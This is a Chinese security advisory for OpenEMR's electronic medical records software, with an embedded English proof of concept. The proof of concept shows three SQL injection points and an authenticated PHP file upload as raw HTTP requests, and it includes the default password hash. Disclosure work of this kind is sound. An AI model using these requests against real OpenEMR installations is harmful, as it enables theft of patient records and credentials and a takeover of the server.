发布日期：2013-09-21
更新日期：2013-11-01

受影响系统：

OpenEMR OpenEMR <= 4.1.1 Patch 14

描述：

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BUGTRAQ  ID: 62365

OpenEMR是模块化的、HIPAA兼容的、开源、跨平台电子病历系统。

OpenEMR的interface/new/new_comprehensive_save.php脚本没有正确过滤 form_pubid参数输入值，在实现上存在SQL注入攻击，可使攻击者在后端数据库内注入或操纵SQL查询。

<*来源：xistence （xistence@0x90.nl）
  
  链接：http://www.osvdb.org/97482
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

###################################################################################################################################
# Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities
# Date: Sep 17 2013
# Exploit Author: xistence < xistence[at]0x90[.]nl >
# Vendor Homepage: www.open-emr.org
# Tested on: CentOS 5.9 32-bit
# Affected Version :  4.1.1 Patch 14 and lower
# Fix: Upgrade to OpenEMR 4.1.2
#
# Software details:
#
# OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on
# Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of
# the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of
# volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts.
# The OpenEMR community is dedicated to guarding OpenEMR's status as a free, open source software solution for # medicalpractices
# and is dedicated to maintaining a spirit of openness, kindness and cooperation.
#
###################################################################################################################################


[ SQL Injection ]

[0x01] - The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible (hash below is the default password "pass")

POST /openemr/interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/login/login.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

authProvider=Default'[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=

The POST request below could be used to retrieve passwords from other users and gain higher privileges (and after that upload a shell)


[0x02] - The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection.

POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/new/new.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 286

form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat


[0x03] - The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection.
http://<IP>/openemr/interface/patient_file/summary/demographics.php?set_pid=-1[SQLi]


[ Arbitrary file upload ]

[0x01] - It's possible to upload any file after being authenticated.

POST /openemr/interface/super/manage_site_files.php HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/super/manage_site_files.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870
Content-Length: 355

-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="form_image"; filename="pwned.php"
Content-Type: text/php

<?php phpinfo(); ?>
-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="bn_save"

Save
-----------------------------6745387234061449481375110870--

建议：

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厂商补丁：

OpenEMR
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

www.oemr.org

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